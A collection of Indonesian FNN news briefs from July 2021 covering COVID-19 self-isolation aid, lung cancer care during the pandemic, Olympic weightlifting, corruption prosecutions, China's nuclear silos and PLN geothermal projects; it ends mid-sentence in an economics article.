Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan mengatakan pasien yang sedang menjalani isolasi mandiri (isoman) COVID-19 perlu mendapat dukungan vitamin dan kebutuhan pokok harian lainnya agar pemulihan diri berlangsung dengan baik. "Tempat yang sedang kita berada saat ini, adalah sebuah posko yang memfasilitasi warga yang sedang menjalani isolasi mandiri. Pada saat mereka sedang menjalani isolasi mandiri, perlu ditopang dengan kebutuhan-kebutuhan pokok, kebutuhan keseharian, dan juga dukungan vitamin, obat," kata Anies saat meninjau Posko Peduli Isoman PWNU DKI Jakarta di Jagakarsa, Jakarta Selatan, Rabu (28/7). Dalam kesempatan itu, Anies menyampaikan bahwa pihaknya akan memastikan membantu pasien isoman baik di rumah maupun pada posko mandiri agar dapat beraktivitas kembali bersama masyarakat. Mantan Menteri Pendidikan itu juga mengapresiasi langkah yang diambil oleh Pengurus Wilayah Nahdlatul Ulama DKI yang secara nyata mendukung pemerintah menanggulangi wabah COVID-19. "Izinkan kami menyampaikan terima kasih, apresiasi, dan penghargaan yang setinggi-tingginya," ujar dia. "Dan kami Insya Allah akan ikut mendukung, memastikan bahwa melalui posko dan para relawan yang begitu banyak, saudara-saudara kita yang di Jakarta sedang menjalani isolasi, nantinya bisa kembali sehat, nantinya bisa kembali beraktivitas bersama masyarakat," kata Anies menambahkan. Sebelumnya PWNU DKI menggulirkan bulan peduli isoman sejak 16 Juli hingga 5 Agustus mendatang. Program tersebut secara khusus membantu para warga terpapar COVID-19 dengan distribusi makanan matang, vitamin, dan bahan makanan lainnya. (sws)

Dokter Sarankan Pasien Kanker Paru Rutin Kontrol di Tengah Pandemi

Jakarta, FNN - Ketua Tim Kerja Onkologi Paru Perhimpunan Dokter Paru Indonesia (PDPI), Prof. dr. Elisna Syahruddin Ph.D, Sp.P(K), menyarankan pasien kanker paru untuk tetap ikuti prosedur rumah sakit dan rutin kontrol demi mengetahui perkembangan penyakit di tengah pandemi. "Tetap laksanakan prosedur protokol kesehatan seperti memakai masker, mencuci tangan, dan menjaga jarak," kata Elisna dalam konferensi pers daring, Rabu. Dia mengingatkan kepada masyarakat untuk mencari informasi kepada dokter atau profesional bila merasakan gejala. Elisna pun menyarankan kepada para pasien kanker paru untuk tetap mengikuti saran dokter untuk melakukan terapi. Elisna menjelaskan rekomendasi PDPI mengenai tatalaksana keganasan rongga toraks dalam pandemi COVID-19. Berdasarkan rekomendasi PDPI, prosedur diagnosis untuk kasus baru tidak boleh ditunda. Namun, semua dilaksanakan dengan mengaplikasikan prinsip keamanan dengan protokol kesehatan yang sesuai dengan kondisi di tengah pandemi. "Radioterapi untuk kasus dengan kegawatan respirasi tidak boleh tertunda," lanjutnya. Untuk pasien kanker paru stadium awal yang masih bisa dibedah, prosesnya harus disegerakan. Sebab, selagi masih bisa dilakukan, bedah adalah terapi terbaik. Selain itu, kemoterapi lini pertama bisa diberikan dengan menggunakan rejimen tiga mingguan. "Untuk pasien yang terkena COVID-19, ditunda dulu sampai sembuh dan memenuhi syarat kemoterapi." Kemudian, jarak kunjungan ke rumah sakit pun diperpanjang untuk menghindari atau mengurangi kontak Orang Dalam Pantauan (ODP). Pandemi COVID-19 turut memengaruhi pengobatan pasien kanker paru, jelas dia. Dampak yang dirasakan di antaranya adalah butuh waktu lebih lama karena pasien harus menjalani screening COVID-19 sebelum menjalani prosedur diagnosis dan pengobatan. Selain itu, adanya pembatasan atau penundaan layanan akibat keterbatasan sumber daya manusia atau sarana dan prasarana rumah sakit. Adanya Pemberlakuan Pembatasan Kegiatan Masyarakat juga membuat pasien menghadapi keterbatasan pilihan transportasi juga memenuhi persyaratan keluar masuk daerah. Pandemi juga menimbulkan kekhawatiran pasien akan kemungkinan penularan bila menggunakan transportasi umum dan kemungkinan penularan di rumah sakit. Berdasarkan data Global Cancer Statistic (Globocan) 2020, jumlah kasus baru kanker paru di Indonesia meningkat 8,8 persen menjadi 34.783 kasus atau menempati peringkat ketiga. Sementara itu, jumlah kematian akibat kanker paru meningkat 13,2 persen menjadi 30.843 jiwa atau menempati peringkat pertama. Hal itu disebabkan oleh karena sebagian besar pasien terdiagnosa pada stadium lanjut. Dia menjelaskan, diagnosis dan pengobatan yang tepat waktu merupakan faktor penting untuk menentukan keberhasilan pengobatan kanker paru. Masyarakat perlu menghindari faktor risiko kanker paru dan mengetahui gejala kanker paru sehingga apabila merasakan beberapa gejala tersebut, perlu segera melakukan konsultasi kepada dokter agar bisa terdiagnosa lebih cepat. "Lebih dari itu, pasien yang sudah terdiagnosa, harus mendapatkan terapi sesuai dengan kondisinya karena kanker paru berkembang dengan cepat. Masa pandemi tidak menyebabkan pasien harus berhenti melakukan pemantauan terlebih melanjutkan terapi," katanya. Ada beberapa faktor yang mempengaruhi risiko seseorang terkena kanker paru. Faktor yang tidak dapat dikontrol di antaranya pertambahan umur, jenis kelamin dan riwayat kanker dalam keluarga atau genetik. Ada pula faktor yang bisa dikontrol yakni paparan asap rokok baik itu perokok aktif atau pasif, polusi, paparan zat karsinogen dalam pekerjaan juga penyakit paru kronik. Screening kanker paru dilakukan terhadap kelompok berisiko yang belum menunjukkan gejala. Orang yang direkomendasikan menjalani screening kanker paru adalah orang berusia di bawah 45 tahun, baik itu perokok aktif atau pasif atau orang yang telah berhenti merokok dalam kurun sepuluh tahun. Screening kanker paru juga dilakukan untuk orang yang punya riwayat kanker dalam keluarga juga bekerja di daerah dengan paparan zat karsinogen. (mth)

Indonesia Tunggu Keputusan Resmi Terkait Isu Doping Lifter China

Jakarta, FNN - Indonesia masih menunggu keputusan resmi Komite Olimpiade Internasional (IOC), Badan Anti-Doping Dunia (WADA), dan Panitia Penyelenggara Olimpiade Tokyo (TOCOG) terkait isu doping yang menjerat lifter China, Hou Zhihui. Sebagaimana diberitakan media India, Rabu, 28 Juli 2021, Hou Zhihui diisukan mungkin menggunakan doping saat meraih medali emas kelas 49 kg putri Olimpiade Tokyo, Sabtu (24/7). Jika Hou terbukti positif doping, maka itu menguntungkan dua lifter peraih perak dan perunggu. Lifter India peraih perak Chanu Saikhom bisa naik ke posisi pertama dan meraih emas, sedangkan lifter Indonesia Windy Cantika Aisah berpotensi meraih perak. Akan tetapi, Kepala Bidang Pembinaan dan Prestasi (Kabid Binpres) PABSI Hadi Wiharja tidak mau berspekulasi lebih jauh karena pihaknya belum menerima informasi resmi soal kebenaran kabar tersebut. “Memang belum ada berita secara resmi. Dari dokter kontingen Indonesia di Tokyo juga belum ada kabar,” kata Hadi saat dikonfirmasi ANTARA di Jakarta, Rabu. Menurut Hadi, kepastian mengenai kemungkinan lifter China menggunakan doping bisa ditunggu sekitar sepekan mendatang. Hal itu disampaikan Hadi berkaca pada pengalaman Olimpiade 2000 Sydney ketika Lisa Rumbewas yang semula mendapat perunggu kelas 48 kg dinyatakan berhak atas perak karena lifter Bulgaria peraih emas Izabela Dragneva positif doping. “Kasus ini selalu ada di Olimpiade. Tetapi, itu pasti melalui proses yang sangat panjang minimal sepekan lebih karena ada ketentuan dari IOC, tuan rumah Olimpiade, dan WADA," kata dia. "Jadi sampai saat ini belum ada keterangan resmi yang menyatakan doping (lifter China) ini benar terjadi," ujarnya. (MD).

Kementerian Investasi Permudah Kemitraan UMKM - Usaha Besar

Jakarta, FNN - Direktur Pemberdayaan Usaha Kementerian Investasi/Badan Koordinasi Penanaman Modal (BKPM) Anna Nurbani mengatakan izin usaha yang dimiliki pelaku Usaha Mikro, Kecil, dan Menengah (UMKM) dapat mempermudah proses kemitraan dengan pelaku usaha skala besar. Menurut Anna, pelaku UMKM dapat memanfaatkan sistem terpadu satu pintu (OSS) yang telah menerbitkan 2,67 juta Nomor Induk Berusaha bagi pelaku usaha kecil sejak diluncurkan pada Juli 2018. “Jadi kami himbau pemilik usaha meskipun rumahan, silakan mendaftar di OSS dan gratis. Karena ini akan menjadi persyaratan dimanapun, ketika ingin mengajukan kredit, termasuk dibantu bermitra dengan pelaku usaha berskala besar,” kata Anna dalam webinar UMKM Naik Kelas di Jakarta, Rabu. Ia memastikan kemitraan ini bermanfaat bagi pelaku UMKM maupun pengusaha besar, karena pelaku usaha kecil dapat naik kelas dan, sebaliknya, pebisnis besar bisa memperoleh kemudahan insentif pajak dalam bentuk tax allowance. Berdasarkan Peraturan Presiden Nomor 49 Tahun 2021 tentang Bidang Penanaman Modal, pemerintah mewajibkan pelaku usaha besar bidang tertentu yang ingin mendapatkan fasilitas untuk melakukan kemitraan dengan pelaku UMKM. Menurut Anna, pemerintah telah membuat aturan ini untuk turut mengembangkan UMKM agar bisa mendapatkan pangsa pasar yang pasti tersedia. "Misalnya perusahaan besar membutuhkan catering, kami carikan di lokasi tersebut dan akan kami hubungkan supaya mereka bisa bermitra. Ini juga tidak sembarangan kontraknya, dalam artian cukup besar bisa di atas Rp100 juta untuk jangka waktu setahun," katanya. Selain itu, Anna mengatakan BKPM juga bekerja sama dengan beberapa perbankan untuk membantu pelaku UMKM mencari modal kerja untuk memenuhi permintaan dari pelaku usaha berskala besar tersebut. "Apabila sudah masuk program kemitraan BKPM, kami akan hubungkan dengan bank-bank tersebut untuk dapat permodalan," ucapnya. (mth)

Penumpukan Nuklir China Mengkhawatirkan Amerika Serikat

Washington, FNN - Pentagon dan anggota kongres Amerika Serikat dari Partai Republik pada Selasa (27/7) menyampaikan kekhawatiran baru tentang peningkatan kekuatan nuklir China. Kekhawatiran tersebut muncul setelah sebuah laporan baru mengatakan, Beijing sedang membangun 110 lebih silo rudal. Sebuah laporan dari Federasi Ilmuwan Amerika (AFS) pada Senin (26/7) menyebutkan, gambar satelit menunjukkan China sedang membangun sebuah ladang silo baru di dekat Hami di bagian timur daerah Xinjiang. Silo adalah ruang bawah tanah di mana rudal kendali disimpan untuk ditembakkan. Laporan itu muncul berminggu-minggu setelah pembangunan sekitar 120 silo rudal di Yumen, yakni sebuah daerah gurun yang terletak sekitar 380 kilometer di tenggara. "Ini adalah kedua kalinya dalam dua bulan publik mengetahui apa yang telah kami katakan selama ini tentang meningkatnya ancaman yang dihadapi dunia dan tabir kerahasiaan yang mengelilinginya," kata Komando Strategis AS dalam cuitan di Twitter yang ditautkan ke artikel New York Times tentang laporan AFS itu. Departemen Luar Negeri AS pada awal Juli menyebutkan, pembangunan nuklir China mengkhawatirkan. Deplu AS menyebutkan, tampaknya Beijing menyimpang dari strategi nuklir puluhan tahun yang didasarkan pada pencegahan minimal. AS meminta China untuk terlibat dengannya "pada langkah-langkah praktis untuk mengurangi risiko perlombaan senjata nuklir yang tidak stabil." Anggota Kongres AS dari Partai Republik Mike Turner, yang juga seorang anggota Subkomite Angkatan Bersenjata DPR untuk Pasukan Strategis, mengatakan pembangunan nuklir China "belum pernah terjadi sebelumnya". Hal itu membuat jelas, China "menyebarkan senjata nuklir untuk mengancam Amerika Serikat dan para sekutunya." Dia mengatakan, penolakan China untuk merundingkan kontrol senjata nuklir "harus menjadi perhatian dan dikecam oleh semua negara yang bertanggung jawab." Anggota Partai Republik lainnya, Mike Rogers, yang juga anggota Komite Angkatan Bersenjata DPR AS, mengatakan pembangunan ladang nuklir China menunjukkan perlunya memodernisasi penangkal nuklir AS dengan cepat. Sebuah laporan Pentagon pada 2020 memperkirakan persediaan hulu ledak nuklir China pada jumlah "rendah 200-an". Jumlah itu diproyeksikan setidaknya naik dua kali lipat ketika Beijing memperluas dan memodernisasi pasukannya. Para analis mengatakan, Amerika Serikat memiliki sekitar 3.800 hulu ledak nuklir. Menurut lembar fakta Departemen Luar Negeri AS, sebanyak 1.357 di antara hulu ledak itu dikerahkan pada 1 Maret. Washington telah berulang kali meminta China untuk bergabung dengannya dan Rusia dalam perjanjian baru kontrol senjata. Laporan tentang silo baru negara komunis itu muncul ketika Asisten Menteri Luar Negeri AS Wendy Sherman akan mengadakan pembicaraan pengendalian senjata dengan Rusia di Jenewa pada Rabu. Sherman berada di China pada awal pekan ini untuk pembicaraan di mana Beijing menuduh Washington menciptakan "musuh imajiner" untuk mengalihkan perhatian dari masalah domestiknya dan menekan China. Beijing mengatakan persenjataannya termasuk kerdil dibandingkan dengan persenjataan yang dimiliki oleh Amerika Serikat dan Rusia. Negara tirai bambu itu juga menyatakan siap melakukan dialog bilateral tentang keamanan strategis "berdasarkan prinsip kesetaraan dan saling menghormati." (MD).

Mantan Menteri Sosial Juliari Batubara Dituntut 11 Tahun Penjara

Jakarta, FNN - Mantan Menteri Sosial Juliari Batubara dituntut 11 tahun penjara ditambah denda Rp 500 juta subsider 6 bulan kurungan. Ia dinilai terbukti menerima suap R p32,482 miliar dari 109 perusahaan penyedia bantuan sosial (bansos) sembako Covid-19 di wilayah Jabodetabek (Jakarta, Bogor, Depok, Tangerang, Bekasi). "Menuntut supaya majelis hakim pengadilan tindak pidana korupsi (Tipikor) menyatakan terdakwa Juliari Batubara terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi secara bersama-sama. Menjatuhkan pidana terhadap terdakwa dengan pidana penjara selama 11 tahun ditambah denda Rp 500 juta subsider 6 bulan kurungan," kata jaksa penuntut umum (JPU) KPK Ikhsan Fernandi di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Rabu. Tuntutan tersebut berdasarkan dakwaan pertama yaitu pasal 12 huruf b jo pasal 18 UU No 31 tahun 1999 sebagaimana diubah UU No 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat 1 ke-1 KUHP jo pasal 64 ayat 1 KUHP. JPU KPK juga meminta agar Juliari juga dijatuhi hukuman untuk membayar uang pengganti. "Menetapkan agar terdakwa membayar uang pengganti kepada negara sebesar Rp 14.557.450.000 selambat-lambatnya satu bulan setelah putusan pengadilan memperoleh kekuatan hukum tetap," kata jaksa Ikhsan sebagaimana dikutip dari Kantor Berita Antara. Bila Juliari tidak membayar uang pengganti tersebut dalam waktu satu bulan setelah putusan pengadilan memperoleh kekuatan hukum tetap, maka harta benda Juliar akan disita oleh jaksa dan dilelang untuk menutupi uang pengganti tersebut. "Dalam hal terpidana tidak mempunyai harta benda yang mencukupi untuk membayar uang pengganti maka dipidana penjara selama 2 tahun," ungkap jaksa. Selanjutnya JPU KPK meminta pencabutan hak politik Juliari dalam periode tertentu. "Menetapkan pidana tambahan terhadap terdakwa berupa pencabutan hak untuk dipilih dalam jabatan publik selama 4 tahun sejak terdakwa selesai menjalani pidana pokoknya," ungkap jaksa. Terdapat sejumlah hal yang memberatkan dalam perbuatan Juliari Batubara. "Keadaan yang memberatkan, perbuatan terdakwa sebagai menteri sosial tidak mendukung program pemerintah dalam mewujudkan pemerintahan yang bersih dari korupsi, kolusi dan nepotisme. Terdakwa berbelit-belit dalam memberikan keterangan. Terdakwa tidak berterus terang atas perbuatannya, perbuatan terdakwa terjadi saat kondisi darurat pandemi Covid-19. Hal yang meringankan, terdakwa belum pernah dihukum," kata jaksa Ikhsan. Dalam perkara tersebut, Juliari P Batubara selaku Menteri Sosial RI periode 2019-2024 dinyatakan terbukti menerima uang sebesar Rp 1,28 miliar dari Harry Van Sidabukke. Kemudian menerima uang sebesar Rp 1,95 miliar dari Ardian Iskandar Maddanatja serta uang sebesar Rp 29,252 miliar dari beberapa penyedia barang lain. Tujuan pemberian suap itu adalah karena Juliari menunjuk PT Pertani (Persero) dan PT Mandala Hamonangan Sude yang diwakili Harry Van Sidabukke, PT Tigapilar Agro Utama yang diwakili Ardian Iskandar serta beberapa penyedia barang lainnya menjadi penyedia dalam pengadaan bansos sembako. Uang suap itu menurut jaksa diterima dari Matheus Joko Santoso yang saat itu menjadi Pejabat Pembuat Komitmen (PPK) pengadaan bansos sembako periode April-Oktober 2020 dan Adi Wahyono selaku Kabiro Umum Kemensos sekaligus PPK pengadaan bansos sembako Covid-19 periode Oktober-Desember 2020. Uang fee sebesar Rp 14,7 miliar menurut JPU KPK sudah diterima oleh Juliari dari Matheus Joko dan Adi Wahyono melalui perantaraan orang-orang dekat Juliari. Mereka adalah tim teknis Mensos Kukuh Ary Wibowo, ajudan Juliari bernama Eko Budi Santoso dan sekretaris pribadi Juliari Selvy Nurbaity. Matheus Joko dan Adi Wahyono kemudian juga menggunakan "fee" tersebut untuk kegiatan operasional Juliari selaku mensos dan kegiatan operasional lain di Kemensos. Misalnya, pembelian ponsel, biaya tes swab, pembayaran makan dan minum, pembelian sepeda Brompton, pembayaran honor artis Cita Citata, pembayaran hewan kurban hingga penyewaan pesawat pribadi. (MD).

Hakim Tolak Praperadilan Angin Prayitno

Jakarta, FNN - Hakim Tunggal Pengadilan Negeri Jakarta Selatan Siti Hamidah menolak gugatan praperadilan sah tidak sahnya penetapan tersangka yang diajukan Angin Prayitno Aji (APA), tersangka kasus dugaan suap Direktorat Jenderal Pajak Kementerian Keuangan. "Menimbang berdasarkan pertimbangan di atas, maka alasan-alasan permohonan praperadilan yang diajukan oleh pemohon tidaklah beralasan menurut hukum. Oleh karena itu, patut ditolak untuk seluruhnya," kata Siti Hamidah membacakan putusannya di Pengadilan Negeri Jakarta Selatan, Rabu, 28 Juli 2021 sore. Dalam putusannya, hakim menimbang bahwa penetapan tersangka telah memenuhi bukti permulaan, bahkan memenuhi dua alat bukti yang sah. Termohon dalam hal ini KPK telah berhasil menunjukkan bukti-bukti tersebut di persidangan. Begitu pula dengan penyitaan yang digugat oleh pemohon. Menurut hakim, penyitaan tersebut sah, karena telah diizinkan oleh Dewan Pengawas (Dewas) KPK untuk dilakukan penyitaan yang telah ditandatangani pemohon. "Penyitaan yang dilakukan telah sesuai dengan aturan yang berlaku," kata Siti sebagaimana dikutip dari Kantor Berita Antara. Menimbang, karena permohonan praperadilan yang diajukan oleh pemohon ditolak, lanjut Siti, maka biaya yang timbul dalam perkara ini haruslah dibebankan kepada pemohon sejumlah nihil. Ditemui usai persidangan, Kuasa Hukum terdakwa, Syaefullah Hamid menyatakan kecewa dengan putusan hakim. Alasannya, karena hakim tidak mempertimbangkan dengan benar, salah satunya pertimbangan terhadap barang bukti hanya dari pihak termohon (KPK-red). "Karena dua belah pihak harus dipertimbangkan, soal ditolak urusan hasil," ujarnya. Selain itu, Syaefuddin menyampaikan bahwa hakim ketika mengambil keputusan tidak konsisten di awal. Hakim Tunggal, kata Syaefuddin, di awal mempergunakan Putusan MK Nomor 21 Tahun 2014 untuk memperluas objek praperadilan. Salah satu selain memperluas objek praperadilan, putusan MK itu juga mengatur ada prosedur untuk menetapkan tersangka, yaitu dengan minimal dua alat bukti yang diperoleh dalam proses penyidikan. Dengan alat bukti itulah ditetapkan tersangka. "Di persidangan kemarin, praperadilan sudah terbukti, pak Angin ditetapkan tersangka bukan dengan alat bukti yang diperoleh dalam penyidikan," kaya Syaefuddin. Angin Prayitno Aji merupakan tersangka kasus dugaan korupsi penerimaan suap terkait pemeriksaan perpajakan pada periode 2016-2017. Sementara itu, KPK pada Selasa 24 Mei 2021 telah menetapkan enam tersangka kasus dugaan suap melibatkan Ditjen Pajak tersebut. Sebagai penerima, yaitu Angin dan mantan Kepala Subdirektorat Kerja Sama dan Dukungan Pemeriksaan Ditjen Pajak Dadan Ramdani (DR). Sedangkan sebagai pemberi, yakni kuasa wajib pajak Veronika Lindawati (VL) serta tiga konsultan pajak masing-masing Ryan Ahmad Ronas (RAR), Aulia Imran Maghribi (AIM), dan Agus Susetyo (AS). Angin dan Dadan diduga menyetujui, memerintahkan, dan mengakomodir jumlah kewajiban pembayaran pajak yang disesuaikan dengan keinginan dari wajib pajak atau pihak yang mewakili wajib pajak. Keduanya diduga menerima suap puluhan miliar terkait pemeriksaan terhadap tiga wajib pajak, yaitu PT Gunung Madu Plantations untuk tahun pajak 2016, PT Bank PAN Indonesia Tbk untuk tahun pajak 2016, dan PT Jhonlin Baratama untuk tahun pajak 2016-2017. (MD).

Rahmat Erwin Abdullah Catatkan Angkatan Terbaik di Grup B kelas 73Kg

Jakarta, FNN - Lifter Indonesia Rahmat Erwin Abdullah mencatatkan angkatan terbaik di Grup B kelas 73kg putra cabang angkat besi Olimpiade Tokyo, Rabu. Bersaing dengan empat lifter lain yang tergabung di Grup B, Rahmat membukukan total angkatan 342kg, dengan snatch 152kg dan clean and jerk 190kg, demikian catatan resmi Olimpiade. Lifter berusia 21 tahun itu kini hanya perlu menunggu hasil akhir dari persaingan Grup A kelas 73kg yang akan dimulai pukul 18.00 WIB. Meski tidak akan bertanding di Grup A, Rahmat bisa saja mendapat medali apabila catatan total angkatannya di Grup B masuk tiga besar dari peringkat kombinasi kedua grup. Namun pelatih sekaligus ayahnya, Erwin Abdullah, sudah menetapkan target yang realitis, yakni mencapai delapan besar Olimpiade Tokyo. Menurut Erwin, target yang ditetapkan itu bukan tanpa alasan, mengingat Tokyo 2020 merupakan penampilan perdana Rahmat. Selain itu, persaingan kelas 73kg juga menurutnya sangat ketat. Sembilan lifter tangguh di Grup A akan bersaing ketat memperebutkan medali sore ini. Lifter-lifter tersebut antara lain Bozhidar Dimitrov dari Bulgaria yang memiliki total angkatan 346kg (147kg snatch dan 189kg clean and jerk). Selain itu, ada pula lifter tuan rumah Jepang, Miyamoto Masanori dengan total angkatan 335kg (150kg snatch dan 185kg clean and jerk ). Peserta lainnya adalah Cumming Jr dari Amerika Serikat yang memiliki total angkatan terbaik 343kg (155kg snatch dan 188kg clean and jerk). Lifter China Shi Zhiyong akan menjadi sorotan utama kelas 73kg. Atlet berusia 27 tahun itu memiliki total angkatan terbaik 363kg (169kg snatch dan 194kg clean and jerk). (mth)

Kuasa Hukum: Pasal 50 Ayat (4) Undang-Undang Guru dan Dosen Ambigu

Jakarta, Jakarta, FNN - Kuasa hukum pemohon uji materi Undang-Undang Nomor 14 Tahun 2005 tentang Guru dan Dosen Ignatius Supriyadi mengatakan kerancuan dan ambiguitas Pasal 50 Ayat (4) mengakibatkan pemohon mengalami kerugian konstitusional. "Multitafsir ketentuan Pasal 50 Ayat (4) yang menihilkan sendiri norma dan kaidah kewenangan untuk melakukan seleksi pengangkatan dan penetapan jabatan akademik, termasuk guru besar ada pada satuan pendidikan tinggi dengan menambahkan frasa sesuai dengan peraturan perundang-undangan," kata Ignatius Supriyadi pada sidang lanjutan Perkara Nomor 20/PUU-XIX/2021 secara virtual di Jakarta, Rabu. Halitu, menurut dia, dapat ditafsirkan oleh Pemerintah bahwa kewenangan tersebut bisa dianulir atau diambil alih pemerintah melalui peraturan di bawah undang-undang. Pemohon melalui kuasa hukumnya menganggap jika ambiguitas atau ketidakpastian materi muatan Pasal 50 Ayat (4) UU tentang Guru dan Dosen dihilangkan, atau dikabulkannya permohonan pemohon, maka kerugian konstitusional yang dialami tidak akan terjadi lagi. "Kewenangan melakukan seleksi pengangkatan dan penetapan guru besar ada di satuan pendidikan tinggi dalam hal ini rektor," ujarnya. Sidang yang dipimpin langsung oleh hakim Arief Hidayat dengan hakim anggota Saldi Isra dan Enny Nurbaningsih, Ignatius menyampaikan alasan pemohon mengajukan uji materi UU tentang Guru dan Dosen. Pada intinya pemohon menyampaikan materi muatan Pasal 50 Ayat (4) UU No. 14/2005 tentang Guru dan Dosen mengandung ketidakpastian hukum atau multitafsir. Secara substantif, materi muatan pasal itu mengandung kaidah hukum seleksi pengangkatan dan penetapan jenjang jabatan akademik yang ditentukan oleh setiap satuan pendidikan tinggi. Namun, adanya tambahan frasa sesuai dengan peraturan perundang-undangan kaidah hukum tersebut seakan-akan disimpangi oleh keberadaan frasa tambahan itu. Ia berpendapat bahwa frasa peraturan perundang-undangan dapat diartikan segala jenis peraturan perundang-undangan yang berlaku sebagaimana dimaksud Pasal 8 Undang-Undang Nomor 12 Tahun 2011 tentang Pembentukan Peraturan Perundang-Undangan sebagaimana diubah dengan UU No. 15/2019. "Oleh karena itu, materi muatan Pasal 50 Ayat (4) melanggar atau bertentangan secara nyata dengan prinsip negara hukum," ujarnya. - Kuasa hukum pemohon uji materi Undang-Undang Nomor 14 Tahun 2005 tentang Guru dan Dosen Ignatius Supriyadi mengatakan kerancuan dan ambiguitas Pasal 50 Ayat (4) mengakibatkan pemohon mengalami kerugian konstitusional. "Multitafsir ketentuan Pasal 50 Ayat (4) yang menihilkan sendiri norma dan kaidah kewenangan untuk melakukan seleksi pengangkatan dan penetapan jabatan akademik, termasuk guru besar ada pada satuan pendidikan tinggi dengan menambahkan frasa sesuai dengan peraturan perundang-undangan," kata Ignatius Supriyadi pada sidang lanjutan Perkara Nomor 20/PUU-XIX/2021 secara virtual di Jakarta, Rabu. Halitu, menurut dia, dapat ditafsirkan oleh Pemerintah bahwa kewenangan tersebut bisa dianulir atau diambil alih pemerintah melalui peraturan di bawah undang-undang. Pemohon melalui kuasa hukumnya menganggap jika ambiguitas atau ketidakpastian materi muatan Pasal 50 Ayat (4) UU tentang Guru dan Dosen dihilangkan, atau dikabulkannya permohonan pemohon, maka kerugian konstitusional yang dialami tidak akan terjadi lagi. "Kewenangan melakukan seleksi pengangkatan dan penetapan guru besar ada di satuan pendidikan tinggi dalam hal ini rektor," ujarnya. Sidang yang dipimpin langsung oleh hakim Arief Hidayat dengan hakim anggota Saldi Isra dan Enny Nurbaningsih, Ignatius menyampaikan alasan pemohon mengajukan uji materi UU tentang Guru dan Dosen. Pada intinya pemohon menyampaikan materi muatan Pasal 50 Ayat (4) UU No. 14/2005 tentang Guru dan Dosen mengandung ketidakpastian hukum atau multitafsir. Secara substantif, materi muatan pasal itu mengandung kaidah hukum seleksi pengangkatan dan penetapan jenjang jabatan akademik yang ditentukan oleh setiap satuan pendidikan tinggi. Namun, adanya tambahan frasa sesuai dengan peraturan perundang-undangan kaidah hukum tersebut seakan-akan disimpangi oleh keberadaan frasa tambahan itu. Ia berpendapat bahwa frasa peraturan perundang-undangan dapat diartikan segala jenis peraturan perundang-undangan yang berlaku sebagaimana dimaksud Pasal 8 Undang-Undang Nomor 12 Tahun 2011 tentang Pembentukan Peraturan Perundang-Undangan sebagaimana diubah dengan UU No. 15/2019. "Oleh karena itu, materi muatan Pasal 50 Ayat (4) melanggar atau bertentangan secara nyata dengan prinsip negara hukum," ujarnya. (mth)

PLN Gencar Membangun Infrastruktur Pembangkit Listrik Panas Bumi

Jakarta, FNN - Perusahan Listrik Negara (PLN) berkomitmen mendukung aksi penurunan emisi karbon sektor ketenagalistrikan di Indonesia dengan gencar membangun infrastruktur Pembangkit Listrik Tenaga Panas Bumi (PLTP). Executive Vice President Komunikasi Korporat dan CSR PLN Agung Murdifi mengatakan dalam waktu dekat akan ada tiga proyek pembangkit yang akan beroperasi menyuplai listrik bersih bagi masyarakat. "Kami berkomitmen menurunkan emisi gas rumah kaca di sektor ketenagalistrikan dengan menerapkan dekarbonisasi di sektor energi dengan mengembangkan energi terbarukan untuk mencapai target 23 persen pada 2025," kata Agung Murdifi dalam keterangannya di Jakarta, Rabu. Ketiga proyek pembangkit yang akan segera beroperasi adalah PLTP Dieng di Jawa Tengah, PLTP Lahendong di Sulawesi Utara, dan PLTP Ulubelu di Nusa Tenggara Timur. Agung mengungkapkan PLTP Dieng ditargetkan beroperasi secara komersial pada 2023 mendatang. Pembangkit berkapasitas 10 megawatt itu merupakan proyek kerja sama antara PLN Gas & Geothermal dan Geo Dipa Energi. Selanjutnya, PLTP Lahendong dengan kapasitas lima megawatt akan beroperasi pada 2023. Proyek pembangkit itu hasil kerja sama PLN Gas & Geothermal dengan Pertamina Geothermal Energy yang memiliki kapasitas potensial hingga 30 megawatt. Kemudian, PLTP Ulubelu berkapasitas 10 megawatt akan beroperasi secara komersial pada 2024. Proyek pembangkit yang diperkirakan memiliki potensi 100 megawatt itu juga hasil kerja sama antara PLN dengan Pertamina. "Keberhasilan ini merupakan hasil dari sinergi BUMN, antara PLN, Pertamina Geothermal Energy, dan Geodipa Energy," ujar Agung. Beberapa proyek pembangkit listrik panas bumi yang telah beroperasi milik PLN, antara lain PLTP Ulubelu unit I dan II sebesar 110 megawatt, PLTP Mataloko 2,5 megawatt, PLTP Lahendong 80 megawatt, dan PLTP Ulumbu 10 megawatt. Perusahaan setrum negara itu juga memiliki proyek pembangkit yang telah masuk dalam rencana pembangunan, yakni pembangkit di wilayah Kepahiang sebesar 110 megawatt pada 2027, pembangkit di Tangkuban Perahu berkapasitas 40 megawat pada 2026, dan pembangkit di wilayah Ungaran sebesar 55 megawatt pada 2027. Selain itu, ada pula rencana pembangunan pembangkit Oka Ille Ange sebesar 10 megawatt pada 2028, pembangkit Atadei sebesar 10 megawatt pada 2027, pembangkit Tulehu sebesar 20 megawatt pada 2025, dan pembangkit Songa Wayaua 10 megawatt pada 2025. (mth)

FEM IPB Paparkan Perlunya Transformasi Ekonomi Indonesia Saat Pandemi

Jakarta, FNN - Pakar pembangunan ekonomi sekaligus Dekan Fakultas Ekonomi dan Manajemen (FEM) IPB University Nunung Nuryartono menegaskan pentingnya transformasi ekonomi di Indonesia karena hampir seluruh negara telah mengalaminya. "Hal yang membedakan adalah kecepatan transformasi dalam negara itu sendiri. Misalnya, dalam suatu pembangunan negara, transformasi ini dicirikan dengan berubahnya peran satu sektor yang digantikan dengan sektor lainnya," ujar Nunung Nuryartono dalam keterangan resmi IPB University yang diterima di Jakarta, Rabu. Akademisi itu menjelaskan bahwa Indonesia sebagai negara kepulauan harus punya strategi ekonomi transformasi yang berbeda dengan negara lainnya. Dia menegaskan bahwa proses transformasi ekonomi ini tidaklah mudah karena harus ada desain yang baik dengan sampai sekarang desain tersebut masih terus disempurnakan. "Semua unsur yang terlibat harus mengawal proses transformasi agar bisa diimplementasikan secara nyata di lapangan. Dalam kondisi pandemi seperti ini, kita bisa cermati apa yang perlu kita lakukan untuk mempercepat proses transformasi ekonomi kita. Ini adalah momentum untuk mempercepat transformasi tersebut," katanya. Dia bersama timnya telah mencoba menganalisis ekonomi dalam periode 1997-2020 dan menemukan bahwa struktur ekonomi di Indonesia terus berganti kebijakannya dengan strategi 